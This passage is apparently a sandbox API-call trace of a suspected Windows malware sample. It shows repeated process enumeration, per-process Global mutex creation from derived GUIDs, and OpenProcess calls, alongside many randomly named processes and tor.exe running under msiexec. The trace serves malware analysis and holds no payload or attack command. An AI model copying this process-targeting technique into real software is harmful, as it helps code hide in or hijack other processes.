0xb7 [0123.393] CloseHandle (hObject=0x56c) returned 1 [0123.393] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.394] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.395] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0123.395] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0123.395] GetLastError () returned 0x0 [0123.395] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0123.395] CloseHandle (hObject=0x56c) returned 1 [0123.395] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.396] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0123.396] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0123.396] GetLastError () returned 0x0 [0123.396] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0123.396] CloseHandle (hObject=0x56c) returned 1 [0123.396] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.397] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0123.397] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0123.397] GetLastError () returned 0xb7 [0123.397] CloseHandle (hObject=0x56c) returned 1 [0123.397] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.398] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0123.398] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0123.398] GetLastError () returned 0x0 [0123.398] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0123.398] CloseHandle (hObject=0x56c) returned 1 [0123.398] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0123.399] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0123.399] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0123.400] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0123.401] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0123.402] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0123.403] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0123.404] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0123.404] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0123.405] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0123.406] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0123.407] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0123.408] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0123.408] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0123.409] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0123.410] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0123.411] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0123.412] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0123.412] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0123.413] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0123.414] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0123.415] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.415] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0123.416] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.417] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.418] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.419] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.420] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0123.421] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0123.421] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.422] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0123.423] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0123.423] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0123.423] GetLastError () returned 0xb7 [0123.423] CloseHandle (hObject=0x56c) returned 1 [0123.423] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0123.424] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0123.425] CloseHandle (hObject=0x6cc) returned 1 [0123.425] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0123.529] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0123.531] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0123.532] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0123.533] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0123.534] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.534] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0123.535] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0123.536] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0123.537] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0123.538] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0123.538] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0123.539] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.540] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.541] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.542] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.542] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.543] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0123.544] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.545] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.546] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.547] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.548] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0123.548] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0123.548] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0123.548] GetLastError () returned 0xb7 [0123.548] CloseHandle (hObject=0x56c) returned 1 [0123.548] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.549] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0123.549] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0123.549] GetLastError () returned 0xb7 [0123.549] CloseHandle (hObject=0x56c) returned 1 [0123.549] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.550] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.551] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0123.551] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0123.551] GetLastError () returned 0x0 [0123.551] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0123.551] CloseHandle (hObject=0x56c) returned 1 [0123.551] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0123.552] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0123.552] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0123.552] GetLastError () returned 0x0 [0123.552] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0123.552] CloseHandle (hObject=0x56c) returned 1 [0123.552] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, 